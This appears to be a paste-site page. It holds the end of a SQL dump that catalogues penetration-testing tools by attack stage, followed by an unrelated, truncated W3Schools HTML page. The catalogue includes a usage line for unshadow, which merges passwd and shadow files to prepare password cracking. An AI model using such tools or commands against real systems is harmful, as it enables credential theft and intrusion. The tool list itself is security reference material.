enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow <passwd file> <shadow file> > <output file>', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;

    From user don-no7

  • hiteshsuthar01 / ok-

    names.io, <html lang="en-US"><head><script type="text/javascript" async="" src="https://script.4dex.io/localstore.js"></script> <title>HTML p tag</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="Keywords" content="HTML, Python, CSS, SQL, JavaScript, How to, PHP, Java, C, C++, C#, jQuery, Bootstrap, Colors, W3.CSS, XML, MySQL, Icons, NodeJS, React, Graphics, Angular, R, AI, Git, Data Science, Code Game, Tutorials, Programming, Web Development, Training, Learning, Quiz, Exercises, Courses, Lessons, References, Examples, Learn to code, Source code, Demos, Tips, Website"> <meta name="Description" content="Well organized and easy to understand Web building tutorials with lots of examples of how to use HTML, CSS, JavaScript, SQL, Python, PHP, Bootstrap, Java, XML and more."> <meta property="og:image" content="https://www.w3schools.com/images/w3schools_logo_436_2.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="436"> <meta property="og:image:height" content="228"> <meta property="og:description" content="W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more."> <link rel="icon" href="/favicon.ico" type="image/x-icon"> <link rel="preload" href="/lib/fonts/fontawesome.woff2?14663396" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-code-pro-v14-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/roboto-mono-v13-latin-500.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-700.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-600.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/freckle-face-v9-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="stylesheet" href="/lib/w3schools30.css"> <script async="" src="//confiant-integrations.global.ssl.fastly.net/prebid/202204201359/wrap.js"></script><script type="text/javascript" src="https://confiant-integrations.global.ssl.fastly.net/t_Qv_vWzcBDsyn934F1E0MWBb1c/prebid/config.js" async=""></script><script type="text/javascript" async="" src="https://www.google-analytics.com/gtm/js?id=GTM-WJ88MZ5&amp;cid=1308236804.1650718121"></script><script async="" src="https://www.google-analytics.com/analytics.js"></script><script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-3855518-1', 'auto'); ga('require', 'displayfeatures'); ga('require', 'GTM-WJ88MZ5'); ga('send', 'pageview'); </script> <script src="/lib/uic.js?v=1.0.3"></script> <script data-cfasync="false" type="text/javascript"> var k42 = false; k42 = true; </script> <script data-cfasync="false" type="text/javascript"> window.snigelPubConf = { "adengine": { "activeAdUnits": ["main_leaderboard", "sidebar_top", "bottom_left", "bottom_right"] } } uic_r_a() </script> <script async="" data-cfasync="false" src="https://cdn.snigelweb.com/adengine/w3schools.com/loader.js" type="text/javascript"></script> <script src="/lib/my-learning.js?v=1.0.9"></script> <script type="text/javascript"> var stickyadstatus = ""; function fix_stickyad() { document.getElementById("stickypos").style.position = "sticky"; var elem = document.getElementById("stickyadcontainer"); if (!elem) {return false;} if (document.getElementById("skyscraper")) { var skyWidth = Number(w3_getStyleValue(document.getElementById("skyscraper"), "width").replace("px", "")); } else { var skyWidth = Number(w3_getStyleValue(document.getElementById("right"), "width").replace("px", "")); } elem.style.width = skyWidth + "px"; if (window.innerWidth <= 992) { elem.style.position = ""; elem.style.top = stickypos + "px"; return false; } var stickypos = document.getElementById("stickypos").offsetTop; var docTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop; var adHeight = Number(w3_getStyleValue(elem, "height").replace("px", "")); if (stickyadstatus == "") { if ((stickypos - docTop) < 60) { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } else { if ((docTop + 60) - stickypos < 0) { elem.style.position = ""; elem.style.top = stickypos + "px"; stickyadstatus = ""; document.getElementById("stickypos").style.position = "static"; } } if (stickyadstatus == "sticky") { if ((docTop + adHeight + 60) > document.getElementById("footer").offsetTop) { elem.style.position = "absolute"; elem.style.top = (document.getElementById("footer").offsetTop - adHeight) + "px"; document.getElementById("stickypos").style.position = "static"; } else { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } } function w3_getStyleValue(elmnt,style) { if (window.getComputedStyle) { return window.getComputedStyle(elmnt,null).getPropertyValue(style); } else { return elmnt.currentStyle[style]; } } </script> <link rel="stylesheet" type="text/css" href="/browserref.css"> <script type="text/javascript" async="" src="//cdn.snigelweb.com/prebid/5.20.2/prebid.js?v=3547-1650632016452"></script><script type="text/javascript" async="" src="//c.amazon-adsystem.com/aax2/apstag.js"></script><script type="text/javascript" async="" src="//securepubads.g.doubleclick.net/tag/js/gpt.js"></script><script type="text/javascript" async="" src="https://adengine.snigelweb.com/w3schools.com/3547-1650632016452/adngin.js"></script><script type="text/javascript" async="" src="//cdn.snigelweb.com/argus/argus.js"></script><meta http-equiv="origin-trial" content="AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0="><meta http-equiv="origin-trial" content="Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt/P/H4/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="AxBHdr0J44vFBQtZUqX9sjiqf5yWZ/OcHRcRMN3H9TH+t90V/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="AzoawhTRDevLR66Y6MROu167EDncFPBvcKOaQispTo9ouEt5LvcBjnRFqiAByRT+2cDHG1Yj4dXwpLeIhc98/gIAAACFeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A6+nc62kbJgC46ypOwRsNW6RkDn2x7tgRh0wp7jb3DtFF7oEhu1hhm4rdZHZ6zXvnKZLlYcBlQUImC4d3kKihAcAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A/9La288e7MDEU2ifusFnMg1C2Ij6uoa/Z/ylwJIXSsWfK37oESIPbxbt4IU86OGqDEPnNVruUiMjfKo65H/CQwAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><script src="https://securepubads.g.doubleclick.net/gpt/pubads_impl_2022042001.js?cb=31067210" async=""></script><argprec0></argprec0><argprec1></argprec1><style type="text/css">.snigel-cmp-framework .sn-inner {background-color:#fffefe!important;}.snigel-cmp-framework .sn-b-def {border-color:#04aa6d!important;color:#04aa6d!important;}.snigel-cmp-framework .sn-b-def.sn-blue {color:#ffffff!important;background-color:#04aa6d!important;border-color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li {color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li:after {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-footer-tab .sn-privacy a {color:#04aa6d!important;}.snigel-cmp-framework .sn-arrow:after,.snigel-cmp-framework .sn-arrow:before {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-switch input:checked + span::before {background-color:#04aa6d!important;}#adconsent-usp-link {border: 1px solid #04aa6d!important;color:#04aa6d!important;}#adconsent-usp-banner-optout input:checked + .adconsent-usp-slider {background-color:#04aa6d!important;}#adconsent-usp-banner-btn {color:#ffffff;border: solid 1px #04aa6d!important;background-color:#04aa6d!important; }</style><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script></head> <body> <style> #darkmodemenu { position:absolute; top:-40px; right:16px; padding:5px 20px 10px 18px; border-bottom-left-radius:5px; border-bottom-right-radius:5px; z-index:-1; transition: top 0.2s; user-select: none; } #darkmodemenu input,#darkmodemenu label { cursor:pointer; } </style> <script> ( function setThemeMode() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.body.className += " darktheme"; ga('send', 'event', 'theme' , "darkcode"); } if (y == "dark") { document.body.className += " darkpagetheme"; ga('send', 'event', 'theme' , "darkpage"); } })(); </script> <div id="pagetop" class="w3-bar w3-card-2 notranslate"> <a href="https://www.w3schools.com" class="w3-bar-item w3-button w3-hover-none w3-left w3-padding-16" title="Home" style="width:77px"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a> <style> @media screen and (max-width: 1080px) { .ws-hide-1080 { ddddisplay: none !important; } } @media screen and (max-width: 1160px) { .topnavmain_video { display: none !important; } } </style> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('tutorials')" id="navbtn_tutorials" title="Tutorials" style="width:116px">Tutorials <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('references')" id="navbtn_references" title="References" style="width:132px">References <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24 ws-hide-800" href="javascript:void(0)" onclick="w3_open_nav('exercises')" id="navbtn_exercises" title="Exercises" style="width:118px">Exercises <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex topnavmain_video" href="https://www.w3schools.com/videos/index.php" title="Video Tutorials" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')">Videos</a> <a class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex" href="/pro/index.php" title="Go Pro" onclick="ga('send', 'event', 'Pro' , 'fromTopnavMainASP')">Pro <span class="ribbon-topnav ws-hide-1080">NEW</span></a> <a class="w3-bar-item w3-button bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open()" id="navbtn_menu" title="Menu" style="width:93px">Menu <i class="fa fa-caret-down"></i><i class="fa fa-caret-up" style="display:none"></i></a> <div id="loginactioncontainer" class="w3-right w3-padding-16" style="margin-left:50px"> <div id="mypagediv" style="display: none;"></div> <!-- <button id="w3loginbtn" style="border:none;display:none;cursor:pointer" class="login w3-right w3-hover-greener" onclick='w3_open_nav("login")'>LOG IN</button>--> <a id="w3loginbtn" class="w3-bar-item w3-btn bar-item-hover w3-right" style="display: inline; width: 130px; background-color: rgb(4, 170, 109); color: white; border-radius: 25px;" href="https://profile.w3schools.com/log-in?redirect_url=https%3A%2F%2Fmy-learning.w3schools.com" target="_self">Log in</a> </div> <div class="w3-right w3-padding-16"> <!--<a class="w3-bar-item w3-button bar-icon-hover w3-right w3-hover-white w3-hide-large w3-hide-medium" href="javascript:void(0)" onclick="w3_open()" title="Menu"><i class='fa'>&#xf0c9;</i></a> --> <a class="w3-bar-item w3-button bar-item-hover w3-right w3-hide-small barex" style="width: 140px; border-radius: 25px; margin-right: 15px;" href="https://courses.w3schools.com/" target="_blank" id="cert_navbtn" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses in Main top navigation');" title="Courses">Paid Courses</a> <a class="w3-bar-item w3-button bar-item-hover w3-right ws-hide-900 w3-hide-small barex ws-pink" style="border-radius: 25px; margin-right: 15px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTopnavMain', 'click');" title="Get Your Own Website With W3Schools Spaces">Website <span class="ribbon-topnav ws-hide-1066">NEW</span></a> </div> </div> <div style="display: none; position: fixed; z-index: 4; right: 52px; height: 44px; background-color: rgb(40, 42, 53); letter-spacing: normal; top: 0px;" id="googleSearch"> <div class="gcse-search"></div> </div> <div style="display: none; position: fixed; z-index: 3; right: 111px; height: 44px; background-color: rgb(40, 42, 53); text-align: right; padding-top: 9px; top: 0px;" id="google_translate_element"></div> <div class="w3-card-2 topnav notranslate" id="topnav" style="position: fixed; top: 0px;"> <div style="overflow:auto;"> <div class="w3-bar w3-left" style="width:100%;overflow:hidden;height:44px"> <a href="javascript:void(0);" class="topnav-icons fa fa-menu w3-hide-large w3-left w3-bar-item w3-button" onclick="open_menu()" title="Menu"></a> <a href="/default.asp" class="topnav-icons fa fa-home w3-left w3-bar-item w3-button" title="Home"></a> <a class="w3-bar-item w3-button" href="/html/default.asp" title="HTML Tutorial" style="padding-left:18px!important;padding-right:18px!important;">HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp" title="CSS Tutorial">CSS</a> <a class="w3-bar-item w3-button" href="/js/default.asp" title="JavaScript Tutorial">JAVASCRIPT</a> <a class="w3-bar-item w3-button" href="/sql/default.asp" title="SQL Tutorial">SQL</a> <a class="w3-bar-item w3-button" href="/python/default.asp" title="Python Tutorial">PYTHON</a> <a class="w3-bar-item w3-button" href="/php/default.asp" title="PHP Tutorial">PHP</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp" title="Bootstrap Tutorial">BOOTSTRAP</a> <a class="w3-bar-item w3-button" href="/howto/default.asp" title="How To">HOW TO</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp" title="W3.CSS Tutorial">W3.CSS</a> <a class="w3-bar-item w3-button" href="/java/default.asp" title="Java Tutorial">JAVA</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp" title="jQuery Tutorial">JQUERY</a> <a class="w3-bar-item w3-button" href="/c/index.php" title="C Tutorial">C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp" title="C++ Tutorial">C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php" title="C# Tutorial">C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp" title="R Tutorial">R</a> <a class="w3-bar-item w3-button" href="/react/default.asp" title="React Tutorial">React</a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gSearch(this)" title="Search W3Schools"></a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gTra(this)" title="Translate W3Schools"></a> <!-- <a href='javascript:void(0);' class='topnav-icons fa w3-right w3-bar-item w3-button' onclick='changecodetheme(this)' title='Toggle Dark Code Examples'>&#xe80b;</a>--> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" onclick="changepagetheme(2)"></a> <!-- <a class="w3-bar-item w3-button w3-right" id='topnavbtn_exercises' href='javascript:void(0);' onclick='w3_open_nav("exercises")' title='Exercises'>EXERCISES <i class='fa fa-caret-down'></i><i class='fa fa-caret-up' style='display:none'></i></a> --> </div> <div id="darkmodemenu" class="ws-black" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" style="top: -40px;"> <input id="radio_darkpage" type="checkbox" name="radio_theme_mode" onclick="click_darkpage()"><label for="radio_darkpage"> Dark mode</label> <br> <input id="radio_darkcode" type="checkbox" name="radio_theme_mode" onclick="click_darkcode()"><label for="radio_darkcode"> Dark code</label> </div> <nav id="nav_tutorials" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('tutorials')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Tutorials</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML and CSS</h3> <a class="w3-bar-item w3-button" href="/html/default.asp">Learn HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp">Learn CSS</a> <a class="w3-bar-item w3-button" href="/css/css_rwd_intro.asp" title="Responsive Web Design">Learn RWD</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp">Learn Bootstrap</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp">Learn W3.CSS</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">Learn Colors</a> <a class="w3-bar-item w3-button" href="/icons/default.asp">Learn Icons</a> <a class="w3-bar-item w3-button" href="/graphics/default.asp">Learn Graphics</a> <a class="w3-bar-item w3-button" href="/graphics/svg_intro.asp">Learn SVG</a> <a class="w3-bar-item w3-button" href="/graphics/canvas_intro.asp">Learn Canvas</a> <a class="w3-bar-item w3-button" href="/howto/default.asp">Learn How To</a> <a class="w3-bar-item w3-button" href="/sass/default.php">Learn Sass</a> <div class="w3-hide-large w3-hide-small"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" 